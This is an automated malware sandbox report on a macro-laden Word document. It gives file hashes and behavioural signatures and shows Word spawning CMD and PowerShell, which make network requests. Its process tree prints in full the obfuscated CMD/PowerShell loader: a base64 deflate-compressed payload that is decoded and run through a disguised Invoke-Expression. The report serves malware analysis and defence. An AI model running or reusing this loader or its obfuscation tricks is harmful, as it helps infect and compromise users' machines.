Analysis
-
max time kernel
117s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
28-09-2024 04:26
Behavioral task
behavioral1
Sample
fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc
Resource
win10v2004-20240802-en
General
-
Target
fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc
-
Size
75KB
-
MD5
fb805a5139efa1580dae6829b24b7078
-
SHA1
0d13a6d0c94b946882de78c7e6507b76e650033d
-
SHA256
94de7534a45275daa06e0189c6bd06ca41176b3da93303b5fae677ae92cbb92d
-
SHA512
565189a818df059c69c417361ec86a7bfe9c1bdf0628fbef1aeefcdd6bc5e59c3a7f29e1e60ae21ddea3f88ec232fa5f56661401452549cb3fc9fcbad17ff2a4
-
SSDEEP
768:0cWVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9k2p1qrOhdrCv+Y:0pocn1kp59gxBK85fBt+a9yOhg
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2376 2980 CMD.exe WINWORD.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 3 2824 powershell.exe 4 2824 powershell.exe 5 2824 powershell.exe 7 2824 powershell.exe 9 2824 powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
powershell.exeWINWORD.EXECMD.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CMD.exe -
Office loads VBA resources, possible macro or embedded object present
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 2980 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2824 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2824 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 2980 WINWORD.EXE 2980 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WINWORD.EXECMD.exedescription pid process target process PID 2980 wrote to memory of 2704 2980 WINWORD.EXE splwow64.exe PID 2980 wrote to memory of 2704 2980 WINWORD.EXE splwow64.exe PID 2980 wrote to memory of 2704 2980 WINWORD.EXE splwow64.exe PID 2980 wrote to memory of 2704 2980 WINWORD.EXE splwow64.exe PID 2980 wrote to memory of 2376 2980 WINWORD.EXE CMD.exe PID 2980 wrote to memory of 2376 2980 WINWORD.EXE CMD.exe PID 2980 wrote to memory of 2376 2980 WINWORD.EXE CMD.exe PID 2980 wrote to memory of 2376 2980 WINWORD.EXE CMD.exe PID 2376 wrote to memory of 2824 2376 CMD.exe powershell.exe PID 2376 wrote to memory of 2824 2376 CMD.exe powershell.exe PID 2376 wrote to memory of 2824 2376 CMD.exe powershell.exe PID 2376 wrote to memory of 2824 2376 CMD.exe powershell.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2704
-
C:\Windows\SysWOW64\CMD.exeCMD cMd.ExE /C "SeT mPQT=. ( $psHome[4]+$PShomE[30]+'X') (NEw-ObjEcT Io.cOMpRESsION.DefLAtesTREAm([SYstem.Io.mEMorYstREAm] [SYStEM.cOnvErT]::FRoMbASE64sTriNG('NZDRTgIxEEV/ZR+alA3SxicNzSYkiBskggYTNfGllMGtdDt1W7Yi2X+3S+T1nsmZO0MWD2VhIY5w8wUqZEsI7BU2U6PBBkG+1aKgVQhuzLnRaCuswR99gJpVB/64fts5P/nnMUbm0RzRMoU1kw2XzxfWKmx8UifAoxsptCH5+cEZlFvPn1pXXkY/vTRJIYG790u2xVpbPO806ne6mpWUrZ3RYUAnNBdkXb5kRUZvbq+pIFGvCgK2HaeWbkg/6LDnQ8rgB6jYYQNSVQOynMVM26w/MT+F5ngi6RXsDqPtO91rA+eZq6wX5mJuW9zDaJ6k50RskmcvOiWDqk5d9wc='), [systeM.Io.COMpResSiOn.coMPREsSiOnMoDE]::dECoMPrEss) ^| fOrEaCH-oBJEcT{NEw-ObjEcT SyStEm.io.StrEAmReAdER( $_ , [TExt.EncODing]::AsciI )} ).ReaDtOeNd( ) && PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) ^| ^& ( ( ^&( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )"2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) | & ( ( &( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD5fec92b7dd8d5b2421c91670b75bf9af4
SHA19a5a60e77ba6302e79142c44b711da9a4bdc2199
SHA256298931fc2a30362bde0c34ccb00dab058eff289dd67556cd47b5a9570a11f856
SHA51298d2abbd66e328611486808ebd3f0c8bda01fa4e73be12748beb10bbee80ab542b4f5f29cdfc134fbfeaec7a100be8d69e5e0bd08e0f2df30f5785b12ee394f8